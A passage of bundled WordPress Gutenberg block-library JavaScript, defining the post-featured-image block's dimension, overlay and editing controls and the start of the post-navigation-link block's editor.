      overlayColor: {
        type: "string"
      },
      customOverlayColor: {
        type: "string"
      },
      dimRatio: {
        type: "number",
        default: 0
      },
      gradient: {
        type: "string"
      },
      customGradient: {
        type: "string"
      },
      useFirstImageFromPost: {
        type: "boolean",
        default: false
      }
    },
    usesContext: ["postId", "postType", "queryId"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      align: ["left", "right", "center", "wide", "full"],
      color: {
        text: false,
        background: false
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          width: true
        }
      },
      filter: {
        duotone: true
      },
      shadow: {
        __experimentalSkipSerialization: true
      },
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      border: ".wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay",
      shadow: ".wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder",
      filter: {
        duotone: ".wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before"
      }
    },
    editorStyle: "wp-block-post-featured-image-editor",
    style: "wp-block-post-featured-image"
  };

  // packages/block-library/build-module/post-featured-image/edit.mjs
  var import_blob17 = __toESM(require_blob(), 1);
  var import_core_data61 = __toESM(require_core_data(), 1);
  var import_data106 = __toESM(require_data(), 1);
  var import_components112 = __toESM(require_components(), 1);
  var import_block_editor194 = __toESM(require_block_editor(), 1);
  var import_element98 = __toESM(require_element(), 1);
  var import_i18n172 = __toESM(require_i18n(), 1);
  var import_notices16 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/post-featured-image/dimension-controls.mjs
  var import_i18n170 = __toESM(require_i18n(), 1);
  var import_components110 = __toESM(require_components(), 1);
  var import_block_editor191 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime367 = __toESM(require_jsx_runtime(), 1);
  var SCALE_OPTIONS = /* @__PURE__ */ (0, import_jsx_runtime367.jsxs)(import_jsx_runtime367.Fragment, { children: [
    /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
      import_components110.__experimentalToggleGroupControlOption,
      {
        value: "cover",
        label: (0, import_i18n170._x)("Cover", "Scale option for Image dimension control")
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
      import_components110.__experimentalToggleGroupControlOption,
      {
        value: "contain",
        label: (0, import_i18n170._x)(
          "Contain",
          "Scale option for Image dimension control"
        )
      }
    ),
    /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
      import_components110.__experimentalToggleGroupControlOption,
      {
        value: "fill",
        label: (0, import_i18n170._x)("Fill", "Scale option for Image dimension control")
      }
    )
  ] });
  var DEFAULT_SCALE = "cover";
  var scaleHelp = {
    cover: (0, import_i18n170.__)(
      "Image is scaled and cropped to fill the entire space without being distorted."
    ),
    contain: (0, import_i18n170.__)(
      "Image is scaled to fill the space without clipping nor distorting."
    ),
    fill: (0, import_i18n170.__)(
      "Image will be stretched and distorted to completely fill the space."
    )
  };
  var DimensionControls = ({
    clientId,
    attributes: { aspectRatio, width, height, scale },
    setAttributes
  }) => {
    const [availableUnits, defaultRatios, themeRatios, showDefaultRatios] = (0, import_block_editor191.useSettings)(
      "spacing.units",
      "dimensions.aspectRatios.default",
      "dimensions.aspectRatios.theme",
      "dimensions.defaultAspectRatios"
    );
    const units = (0, import_components110.__experimentalUseCustomUnits)({
      availableUnits: availableUnits || ["px", "%", "vw", "em", "rem"]
    });
    const onDimensionChange = (dimension, nextValue) => {
      const parsedValue = parseFloat(nextValue);
      if (isNaN(parsedValue) && nextValue) {
        return;
      }
      setAttributes({
        [dimension]: parsedValue < 0 ? "0" : nextValue
      });
    };
    const scaleLabel = (0, import_i18n170._x)("Scale", "Image scaling options");
    const showScaleControl = height || aspectRatio && aspectRatio !== "auto";
    const themeOptions = themeRatios?.map(({ name: name123, ratio }) => ({
      label: name123,
      value: ratio
    }));
    const defaultOptions = defaultRatios?.map(({ name: name123, ratio }) => ({
      label: name123,
      value: ratio
    }));
    const aspectRatioOptions = [
      {
        label: (0, import_i18n170._x)(
          "Original",
          "Aspect ratio option for dimensions control"
        ),
        value: "auto"
      },
      ...showDefaultRatios ? defaultOptions : [],
      ...themeOptions ? themeOptions : []
    ];
    return /* @__PURE__ */ (0, import_jsx_runtime367.jsxs)(import_jsx_runtime367.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          hasValue: () => !!aspectRatio,
          label: (0, import_i18n170.__)("Aspect ratio"),
          onDeselect: () => setAttributes({ aspectRatio: void 0 }),
          resetAllFilter: () => ({
            aspectRatio: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.SelectControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n170.__)("Aspect ratio"),
              value: aspectRatio || "auto",
              options: aspectRatioOptions,
              onChange: (nextAspectRatio) => setAttributes({ aspectRatio: nextAspectRatio })
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          className: "single-column",
          hasValue: () => !!height,
          label: (0, import_i18n170.__)("Height"),
          onDeselect: () => setAttributes({ height: void 0 }),
          resetAllFilter: () => ({
            height: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.__experimentalUnitControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n170.__)("Height"),
              labelPosition: "top",
              value: height || "",
              min: 0,
              onChange: (nextHeight) => onDimensionChange("height", nextHeight),
              units
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          className: "single-column",
          hasValue: () => !!width,
          label: (0, import_i18n170.__)("Width"),
          onDeselect: () => setAttributes({ width: void 0 }),
          resetAllFilter: () => ({
            width: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.__experimentalUnitControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n170.__)("Width"),
              labelPosition: "top",
              value: width || "",
              min: 0,
              onChange: (nextWidth) => onDimensionChange("width", nextWidth),
              units
            }
          )
        }
      ),
      showScaleControl && /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
        import_components110.__experimentalToolsPanelItem,
        {
          hasValue: () => !!scale && scale !== DEFAULT_SCALE,
          label: scaleLabel,
          onDeselect: () => setAttributes({
            scale: DEFAULT_SCALE
          }),
          resetAllFilter: () => ({
            scale: DEFAULT_SCALE
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime367.jsx)(
            import_components110.__experimentalToggleGroupControl,
            {
              __next40pxDefaultSize: true,
              label: scaleLabel,
              value: scale,
              help: scaleHelp[scale],
              onChange: (value) => setAttributes({
                scale: value
              }),
              isBlock: true,
              children: SCALE_OPTIONS
            }
          )
        }
      )
    ] });
  };
  var dimension_controls_default = DimensionControls;

  // packages/block-library/build-module/post-featured-image/overlay-controls.mjs
  var import_components111 = __toESM(require_components(), 1);
  var import_block_editor192 = __toESM(require_block_editor(), 1);
  var import_compose44 = __toESM(require_compose(), 1);
  var import_i18n171 = __toESM(require_i18n(), 1);
  var import_jsx_runtime368 = __toESM(require_jsx_runtime(), 1);
  var Overlay = ({
    clientId,
    attributes: attributes2,
    setAttributes,
    overlayColor,
    setOverlayColor
  }) => {
    const { dimRatio } = attributes2;
    const { gradientValue, setGradient } = (0, import_block_editor192.__experimentalUseGradient)();
    const colorGradientSettings = (0, import_block_editor192.__experimentalUseMultipleOriginColorsAndGradients)();
    if (!colorGradientSettings.hasColorsOrGradients) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime368.jsxs)(import_jsx_runtime368.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime368.jsx)(
        import_block_editor192.__experimentalColorGradientSettingsDropdown,
        {
          __experimentalIsRenderedInSidebar: true,
          settings: [
            {
              colorValue: overlayColor.color,
              gradientValue,
              label: (0, import_i18n171.__)("Overlay"),
              onColorChange: setOverlayColor,
              onGradientChange: setGradient,
              isShownByDefault: true,
              resetAllFilter: () => ({
                overlayColor: void 0,
                customOverlayColor: void 0,
                gradient: void 0,
                customGradient: void 0
              }),
              clearable: true
            }
          ],
          panelId: clientId,
          ...colorGradientSettings
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime368.jsx)(
        import_components111.__experimentalToolsPanelItem,
        {
          hasValue: () => dimRatio !== void 0,
          label: (0, import_i18n171.__)("Overlay opacity"),
          onDeselect: () => setAttributes({ dimRatio: 0 }),
          resetAllFilter: () => ({
            dimRatio: 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime368.jsx)(
            import_components111.RangeControl,
            {
              label: (0, import_i18n171.__)("Overlay opacity"),
              value: dimRatio,
              onChange: (newDimRatio) => setAttributes({
                dimRatio: newDimRatio
              }),
              min: 0,
              max: 100,
              step: 10,
              required: true,
              __next40pxDefaultSize: true
            }
          )
        }
      )
    ] });
  };
  var overlay_controls_default = (0, import_compose44.compose)([
    (0, import_block_editor192.withColors)({ overlayColor: "background-color" })
  ])(Overlay);

  // packages/block-library/build-module/post-featured-image/overlay.mjs
  var import_block_editor193 = __toESM(require_block_editor(), 1);
  var import_compose45 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/post-featured-image/utils.mjs
  function dimRatioToClass2(ratio) {
    return ratio === void 0 ? null : "has-background-dim-" + 10 * Math.round(ratio / 10);
  }

  // packages/block-library/build-module/post-featured-image/overlay.mjs
  var import_jsx_runtime369 = __toESM(require_jsx_runtime(), 1);
  var Overlay2 = ({ attributes: attributes2, overlayColor }) => {
    const { dimRatio } = attributes2;
    const { gradientClass, gradientValue } = (0, import_block_editor193.__experimentalUseGradient)();
    const colorGradientSettings = (0, import_block_editor193.__experimentalUseMultipleOriginColorsAndGradients)();
    const borderProps = (0, import_block_editor193.__experimentalUseBorderProps)(attributes2);
    const overlayStyles = {
      backgroundColor: overlayColor.color,
      backgroundImage: gradientValue,
      ...borderProps.style
    };
    if (!colorGradientSettings.hasColorsOrGradients || !dimRatio) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime369.jsx)(
      "span",
      {
        "aria-hidden": "true",
        className: clsx_default(
          "wp-block-post-featured-image__overlay",
          dimRatioToClass2(dimRatio),
          {
            [overlayColor.class]: overlayColor.class,
            "has-background-dim": dimRatio !== void 0,
            "has-background-gradient": gradientValue,
            [gradientClass]: gradientClass
          },
          borderProps.className
        ),
        style: overlayStyles
      }
    );
  };
  var overlay_default = (0, import_compose45.compose)([
    (0, import_block_editor193.withColors)({ overlayColor: "background-color" })
  ])(Overlay2);

  // packages/block-library/build-module/post-featured-image/edit.mjs
  var import_jsx_runtime370 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES8 = ["image"];
  var { ResolutionTool: ResolutionTool4 } = unlock(import_block_editor194.privateApis);
  var DEFAULT_MEDIA_SIZE_SLUG5 = "full";
  function FeaturedImageResolutionTool({ image, value, onChange }) {
    const { imageSizes } = (0, import_data106.useSelect)((select9) => {
      const { getSettings: getSettings2 } = select9(import_block_editor194.store);
      return {
        imageSizes: getSettings2().imageSizes
      };
    }, []);
    if (!imageSizes?.length) {
      return null;
    }
    const imageSizeOptions = imageSizes.filter(
      ({ slug }) => image?.media_details?.sizes?.[slug]?.source_url
    ).map(({ name: name123, slug }) => ({ value: slug, label: name123 }));
    return /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
      ResolutionTool4,
      {
        value,
        defaultValue: DEFAULT_MEDIA_SIZE_SLUG5,
        options: imageSizeOptions,
        onChange
      }
    );
  }
  function PostFeaturedImageEdit({
    clientId,
    attributes: attributes2,
    setAttributes,
    context: { postId, postType: postTypeSlug, queryId }
  }) {
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const {
      isLink,
      aspectRatio,
      height,
      width,
      scale,
      sizeSlug,
      rel,
      linkTarget,
      useFirstImageFromPost
    } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element98.useState)();
    const [storedFeaturedImage, setFeaturedImage] = (0, import_core_data61.useEntityProp)(
      "postType",
      postTypeSlug,
      "featured_media",
      postId
    );
    const [postContent] = (0, import_core_data61.useEntityProp)(
      "postType",
      postTypeSlug,
      "content",
      postId
    );
    const featuredImage = (0, import_element98.useMemo)(() => {
      if (storedFeaturedImage) {
        return storedFeaturedImage;
      }
      if (!useFirstImageFromPost) {
        return;
      }
      const imageOpener = /<!--\s+wp:(?:core\/)?image\s+(?<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*)?}\s+)?-->/.exec(
        postContent
      );
      const imageId = imageOpener?.groups?.attrs && JSON.parse(imageOpener.groups.attrs)?.id;
      return imageId;
    }, [storedFeaturedImage, useFirstImageFromPost, postContent]);
    const { media, postType, postPermalink } = (0, import_data106.useSelect)(
      (select9) => {
        const { getEntityRecord, getPostType, getEditedEntityRecord } = select9(import_core_data61.store);
        return {
          media: featuredImage && getEntityRecord("postType", "attachment", featuredImage, {
            context: "view"
          }),
          postType: postTypeSlug && getPostType(postTypeSlug),
          postPermalink: getEditedEntityRecord(
            "postType",
            postTypeSlug,
            postId
          )?.link
        };
      },
      [featuredImage, postTypeSlug, postId]
    );
    const mediaUrl = media?.media_details?.sizes?.[sizeSlug]?.source_url || media?.source_url;
    const blockProps = (0, import_block_editor194.useBlockProps)({
      style: { width, height, aspectRatio },
      className: clsx_default({
        "is-transient": temporaryURL
      })
    });
    const borderProps = (0, import_block_editor194.__experimentalUseBorderProps)(attributes2);
    const shadowProps = (0, import_block_editor194.__experimentalGetShadowClassesAndStyles)(attributes2);
    const blockEditingMode = (0, import_block_editor194.useBlockEditingMode)();
    const placeholder2 = (content) => {
      return /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        import_components112.Placeholder,
        {
          className: clsx_default(
            "block-editor-media-placeholder",
            borderProps.className
          ),
          withIllustration: true,
          style: {
            height: !!aspectRatio && "100%",
            width: !!aspectRatio && "100%",
            ...borderProps.style,
            ...shadowProps.style
          },
          children: content
        }
      );
    };
    const onSelectImage = (value) => {
      if (value?.id) {
        setFeaturedImage(value.id);
      }
      if (value?.url && (0, import_blob17.isBlobURL)(value.url)) {
        setTemporaryURL(value.url);
      }
    };
    const onResetImage = () => {
      setAttributes({
        isLink: false,
        linkTarget: "_self",
        rel: "",
        sizeSlug: void 0
      });
      setFeaturedImage(0);
    };
    (0, import_element98.useEffect)(() => {
      if (mediaUrl && temporaryURL) {
        setTemporaryURL();
      }
    }, [mediaUrl, temporaryURL]);
    const { createErrorNotice } = (0, import_data106.useDispatch)(import_notices16.store);
    const onUploadError = (message) => {
      createErrorNotice(message, { type: "snackbar" });
      setTemporaryURL();
    };
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const controls = blockEditingMode === "default" && /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.InspectorControls, { group: "color", children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        overlay_controls_default,
        {
          attributes: attributes2,
          setAttributes,
          clientId
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.InspectorControls, { group: "dimensions", children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        dimension_controls_default,
        {
          clientId,
          attributes: attributes2,
          setAttributes,
          media
        }
      ) }),
      (featuredImage || isDescendentOfQueryLoop || !postId) && /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(
        import_components112.__experimentalToolsPanel,
        {
          label: (0, import_i18n172.__)("Settings"),
          resetAll: () => {
            setAttributes({
              isLink: false,
              linkTarget: "_self",
              rel: "",
              sizeSlug: DEFAULT_MEDIA_SIZE_SLUG5
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.__experimentalToolsPanelItem,
              {
                label: postType?.labels.singular_name ? (0, import_i18n172.sprintf)(
                  // translators: %s: Name of the post type e.g: "post".
                  (0, import_i18n172.__)("Link to %s"),
                  postType.labels.singular_name
                ) : (0, import_i18n172.__)("Link to post"),
                isShownByDefault: true,
                hasValue: () => !!isLink,
                onDeselect: () => setAttributes({
                  isLink: false
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
                  import_components112.ToggleControl,
                  {
                    label: postType?.labels.singular_name ? (0, import_i18n172.sprintf)(
                      // translators: %s: Name of the post type e.g: "post".
                      (0, import_i18n172.__)("Link to %s"),
                      postType.labels.singular_name
                    ) : (0, import_i18n172.__)("Link to post"),
                    onChange: () => setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            ),
            isLink && /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n172.__)("Open in new tab"),
                isShownByDefault: true,
                hasValue: () => "_self" !== linkTarget,
                onDeselect: () => setAttributes({
                  linkTarget: "_self"
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
                  import_components112.ToggleControl,
                  {
                    label: (0, import_i18n172.__)("Open in new tab"),
                    onChange: (value) => setAttributes({
                      linkTarget: value ? "_blank" : "_self"
                    }),
                    checked: linkTarget === "_blank"
                  }
                )
              }
            ),
            isLink && /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n172.__)("Link relation"),
                isShownByDefault: true,
                hasValue: () => !!rel,
                onDeselect: () => setAttributes({
                  rel: ""
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
                  import_components112.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n172.__)("Link relation"),
                    help: (0, import_element98.createInterpolateElement)(
                      (0, import_i18n172.__)(
                        "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
                      ),
                      {
                        a: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_components112.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
                      }
                    ),
                    value: rel,
                    onChange: (newRel) => setAttributes({ rel: newRel })
                  }
                )
              }
            ),
            !!media && /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              FeaturedImageResolutionTool,
              {
                image: media,
                value: sizeSlug,
                onChange: (nextSizeSlug) => setAttributes({ sizeSlug: nextSizeSlug })
              }
            )
          ]
        }
      ) })
    ] });
    let image;
    if (!featuredImage && (isDescendentOfQueryLoop || !postId)) {
      return /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
        controls,
        /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)("div", { ...blockProps, children: [
          !!isLink ? /* @__PURE__ */ (0, import_jsx_runtime370.jsx)("a", { href: postPermalink, target: linkTarget, children: placeholder2() }) : placeholder2(),
          /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
            overlay_default,
            {
              attributes: attributes2,
              setAttributes,
              clientId
            }
          )
        ] })
      ] });
    }
    const label = (0, import_i18n172.__)("Add a featured image");
    const imageStyles = {
      ...borderProps.style,
      ...shadowProps.style,
      height: aspectRatio ? "100%" : height,
      width: !!aspectRatio && "100%",
      objectFit: !!(height || aspectRatio) && scale
    };
    if (!featuredImage && !temporaryURL) {
      image = /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        import_block_editor194.MediaPlaceholder,
        {
          onSelect: onSelectImage,
          accept: "image/*",
          allowedTypes: ALLOWED_MEDIA_TYPES8,
          onError: onUploadError,
          placeholder: placeholder2,
          mediaLibraryButton: ({ open }) => {
            return /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
              import_components112.Button,
              {
                __next40pxDefaultSize: true,
                icon: upload_default,
                variant: "primary",
                label,
                showTooltip: true,
                tooltipPosition: "top center",
                onClick: () => {
                  open();
                }
              }
            );
          }
        }
      );
    } else {
      image = !media && !temporaryURL ? placeholder2() : /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
          "img",
          {
            className: borderProps.className,
            src: temporaryURL || mediaUrl,
            alt: media && media?.alt_text ? (0, import_i18n172.sprintf)(
              // translators: %s: The image's alt text.
              (0, import_i18n172.__)("Featured image: %s"),
              media.alt_text
            ) : (0, import_i18n172.__)("Featured image"),
            style: imageStyles
          }
        ),
        temporaryURL && /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_components112.Spinner, {})
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)(import_jsx_runtime370.Fragment, { children: [
      !temporaryURL && controls,
      !!media && !isDescendentOfQueryLoop && /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(import_block_editor194.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
        import_block_editor194.MediaReplaceFlow,
        {
          mediaId: featuredImage,
          mediaURL: mediaUrl,
          allowedTypes: ALLOWED_MEDIA_TYPES8,
          accept: "image/*",
          onSelect: onSelectImage,
          onError: onUploadError,
          onReset: onResetImage
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime370.jsxs)("figure", { ...blockProps, children: [
        !!isLink ? /* @__PURE__ */ (0, import_jsx_runtime370.jsx)("a", { href: postPermalink, target: linkTarget, children: image }) : image,
        /* @__PURE__ */ (0, import_jsx_runtime370.jsx)(
          overlay_default,
          {
            attributes: attributes2,
            setAttributes,
            clientId
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/post-featured-image/index.mjs
  var { name: name76 } = block_default75;
  var settings75 = {
    icon: post_featured_image_default,
    edit: PostFeaturedImageEdit
  };
  var init75 = () => initBlock({ name: name76, metadata: block_default75, settings: settings75 });

  // packages/block-library/build-module/post-navigation-link/index.mjs
  var post_navigation_link_exports = {};
  __export(post_navigation_link_exports, {
    init: () => init76,
    metadata: () => block_default76,
    name: () => name77,
    settings: () => settings76
  });
  var import_i18n175 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/post-navigation-link/block.json
  var block_default76 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-navigation-link",
    title: "Post Navigation Link",
    category: "theme",
    description: "Displays the next or previous post link that is adjacent to the current post.",
    textdomain: "default",
    attributes: {
      textAlign: {
        type: "string"
      },
      type: {
        type: "string",
        default: "next"
      },
      label: {
        type: "string",
        role: "content"
      },
      showTitle: {
        type: "boolean",
        default: false
      },
      linkLabel: {
        type: "boolean",
        default: false
      },
      arrow: {
        type: "string",
        default: "none"
      },
      taxonomy: {
        type: "string",
        default: ""
      }
    },
    usesContext: ["postType"],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      color: {
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: "wp-block-post-navigation-link"
  };

  // packages/block-library/build-module/post-navigation-link/edit.mjs
  var import_components113 = __toESM(require_components(), 1);
  var import_block_editor195 = __toESM(require_block_editor(), 1);
  var import_i18n173 = __toESM(require_i18n(), 1);
  var import_data107 = __toESM(require_data(), 1);
  var import_core_data62 = __toESM(require_core_data(), 1);
  var import_jsx_runtime371 = __toESM(require_jsx_runtime(), 1);
  function PostNavigationLinkEdit({
    context: { postType },
    attributes: {
      type,
      label,
      showTitle,
      textAlign,
      linkLabel,
      arrow,
      taxonomy
    },
    setAttributes
  }) {
    const blockEditingMode = (0, import_block_editor195.useBlockEditingMode)();
    const showControls = blockEditingMode === "default";
    const isNext = type === "next";
    let placeholder2 = isNext ? (0, import_i18n173.__)("Next") : (0, import_i18n173.__)("Previous");
    const arrowMap5 = {
      none: "",
      arrow: isNext ? "\u2192" : "\u2190",
      chevron: isNext ? "\xBB" : "\xAB"
    };
    const displayArrow = arrowMap5[arrow];
    if (showTitle) {
      placeholder2 = isNext ? (
        /* translators: Label before for next and previous post. There is a space after the colon. */
        (0, import_i18n173.__)("Next: ")
      ) : (
        /* translators: Label before for next and previous post. There is a space after the colon. */
        (0, import_i18n173.__)("Previous: ")
      );
    }
    const ariaLabel = isNext ? (0, import_i18n173.__)("Next post") : (0, import_i18n173.__)("Previous post");
    const blockProps = (0, import_block_editor195.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const taxonomies = (0, import_data107.useSelect)(
      (select9) => {
        const { getTaxonomies } = select9(import_core_data62.store);
        const filteredTaxonomies = getTaxonomies({
          type: postType,
          per_page: -1
        });
        return filteredTaxonomies;
      },
      [postType]
    );
    const getTaxonomyOptions = () => {
      const selectOption = {
        label: (0, import_i18n173.__)("Unfiltered"),
        value: ""
      };
      const taxonomyOptions = (taxonomies ?? []).filter(({ visibility }) => !!visibility?.publicly_queryable).map((item) => {
        return {
          value: item.slug,
          label: item.name
        };
      });
      return [selectOption, ...taxonomyOptions];
    };
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)(import_jsx_runtime371.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(import_block_editor195.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)(
        import_components113.__experimentalToolsPanel,
        {
          label: (0, import_i18n173.__)("Settings"),
          resetAll: () => {
            setAttributes({
              showTitle: false,
              linkLabel: false,
              arrow: "none"
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
              import_components113.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n173.__)("Display the title as a link"),
                isShownByDefault: true,
                hasValue: () => showTitle,
                onDeselect: () => setAttributes({ showTitle: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                  import_components113.ToggleControl,
                  {
                    label: (0, import_i18n173.__)("Display the title as a link"),
                    help: (0, import_i18n173.__)(
                      "If you have entered a custom label, it will be prepended before the title."
                    ),
                    checked: !!showTitle,
                    onChange: () => setAttributes({
                      showTitle: !showTitle
                    })
                  }
                )
              }
            ),
            showTitle && /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
              import_components113.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n173.__)(
                  "Include the label as part of the link"
                ),
                isShownByDefault: true,
                hasValue: () => !!linkLabel,
                onDeselect: () => setAttributes({ linkLabel: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                  import_components113.ToggleControl,
                  {
                    label: (0, import_i18n173.__)(
                      "Include the label as part of the link"
                    ),
                    checked: !!linkLabel,
                    onChange: () => setAttributes({
                      linkLabel: !linkLabel
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
              import_components113.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n173.__)("Arrow"),
                isShownByDefault: true,
                hasValue: () => arrow !== "none",
                onDeselect: () => setAttributes({ arrow: "none" }),
                children: /* @__PURE__ */ (0, import_jsx_runtime371.jsxs)(
                  import_components113.__experimentalToggleGroupControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n173.__)("Arrow"),
                    value: arrow,
                    onChange: (value) => {
                      setAttributes({ arrow: value });
                    },
                    help: (0, import_i18n173.__)(
                      "A decorative arrow for the next and previous link."
                    ),
                    isBlock: true,
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                        import_components113.__experimentalToggleGroupControlOption,
                        {
                          value: "none",
                          label: (0, import_i18n173._x)(
                            "None",
                            "Arrow option for Next/Previous link"
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                        import_components113.__experimentalToggleGroupControlOption,
                        {
                          value: "arrow",
                          label: (0, import_i18n173._x)(
                            "Arrow",
                            "Arrow option for Next/Previous link"
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
                        import_components113.__experimentalToggleGroupControlOption,
                        {
                          value: "chevron",
                          label: (0, import_i18n173._x)(
                            "Chevron",
                            "Arrow option for Next/Previous link"
                          )
                        }
                      )
                    ]
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(import_block_editor195.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime371.jsx)(
        import_components113.SelectControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n173.__)("Filter by taxonomy"),
          value: taxonomy,
          options: getTaxonomyOptions(),
          onChange: (value) => setAttributes({
            taxonomy: value
          }),
          help: (0, import_i18n173.__)(
            "Only link to posts that have the same taxonomy terms as the current post. For example the same tags or categories."
          )
        }
      ) }),
